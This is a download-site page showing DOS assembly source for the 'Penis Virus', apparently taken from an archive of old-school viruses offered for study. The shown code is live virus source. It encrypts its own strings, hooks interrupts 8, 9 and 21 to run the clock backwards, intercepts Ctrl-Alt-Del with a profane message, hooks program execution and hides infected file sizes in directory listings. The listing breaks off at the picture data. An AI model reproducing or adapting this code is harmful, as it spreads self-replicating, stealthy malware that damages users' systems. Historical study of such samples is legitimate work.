⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 penis.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
;*****************************************************************************
;*                              THE PENIS VIRUS 
;*
;*
;* By Soltan Griss  [YAM]
;*
;*
;*
;*
;* In no means was this intended to be a serious virus, I got bored one day
;* and decided to have some fun.
;*
;*
;* Well Here it is...
;*
;*****************************************************************************
seg_a           segment 
                assume  cs:seg_a,ds:seg_a,es:nothing
              
        org     100h
start:  db      0E9h,02,00,42h,0f2h

        mov     cx,(old_21-old_8)       ;RUN FIRST TIME ONLY
        mov     si,offset old_8         ;encrypt All text messages
        call    crypter            
        
        mov     cx,(exec-data) 
        mov     si,offset data
        call    crypter

       
vstart  equ     $                
        call    code_start 
code_start:          
        pop     si
        sub     si,offset code_start
        mov     bp,si
        jmp     load                    ;Load in the TSR
;**************************************************************************

old_8           dw      0,0

new_8:          push    ax                           
                push    bx                        ;lets run the clock   
                push    cx                        ;backwards   
                push    ds                           
                xor     ax,ax                        
                mov     ds,ax                         
                mov     bx,ds:46Ch                    
                mov     cx,ds:046Eh                   
                dec     bx                            
                jno     loc_4         
                dec     cx            
                jno     loc_4         
                mov     bx,0AFh       
                mov     cx,18h                    ;remember to do it twice
loc_4:                                            ;cause the normal increase
                dec     bx                        ;will negate the first one
                jno     loc_5         
                dec     cx            
                jno     loc_5         
                mov     bx,0AFh       
                mov     cx,18h        
loc_5:                                
                mov     ds:046Eh,cx   
                mov     ds:046Ch,bx   
                pop     ds            
                pop     cx            
                pop     bx            
                pop     ax                          
do_old_8:       jmp     dword ptr cs:[old_8-vstart] 
                                                    

;****************************************************************************
;int 9 handler

old_9   dd      ?                       ;Store old int 9

new_9:  
        
        push    ax
        in      al,60h                  ;Turn on Register 60
        cmp     al,53h                  ;Ctrl-Alt-Del
        
        je      fuck_you
        pop     ax
        jmp     dword ptr cs:[(old_9-vstart)]

say_it: db      "FUCK YOU ASSHOLE!  ","$"
        
fuck_you:        
        push    ds
        push    dx
        mov     ah,9h
        
        push    cs
        pop     ds
      
        mov     dx,say_it-vstart                ;Say message
        int     21h
        pop     dx
        pop     ds
        pop     ax
        iret



;***********************************************************************
;***********************************************************************
;***********************************************************************
;***********************************************************************
;***********************************************************************

old_21  dd      ?

new_21: 
        cmp     ax,4b00h                        ;Are we executing?
        je      exec1
        
        cmp     ah,11h
        je      hide_size
        cmp     ah,12h
        je      hide_size
        cmp     ax,0f242h                       ;Are we going resident?
        jne     do_old                          
        mov     bx,242fh                        ;Set our residency byte
do_old: jmp     dword ptr cs:[(old_21-vstart)]  ;If not then do old int 21
exec1:  jmp     exec
do_dir: jmp     dword ptr cs:[(old_21-vstart)]  
        ret        

hide_size:
        pushf
        push    cs
        call    do_dir                          ;get the current FCB
        cmp     al,00h
        jnz     dir_error                       ;jump if bad FCB
        
        push    ax
        push    bx
        push    es                              ;undocumented get FCB 
        mov     ah,51h                          ;location
        int     21h
        mov     es,bx                           ;get info from FCB
        cmp     bx,es:[16h]
        jnz     not_inf
        mov     bx,dx
        mov     al,[bx]
        push    ax
        mov     ah,2fh                          ;get DTA 
        int     21h
        pop     ax
        inc     al                              ;Check for extended FCB
        jnz     normal_fcb
        add     bx,7h
normal_fcb:
        mov     ax,es:[bx+17h]
        and     ax,1fh
        xor     al,01h                          ;check for 2 seconds
        jnz     not_inf
        
        and     byte ptr es:[bx+17h],0e0h       ;subtract virus size
        sub     es:[bx+1dh],(vend-vstart)
        sbb     es:[bx+1fh],ax
not_inf:pop     es
        pop     bx
        pop     ax
        
dir_error:   
        iret                                    ;back to caller


;***************************************************************************
;***************************************************************************
;* PICTURE TO DISPLAY
;***************************************************************************

data    DB      '

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -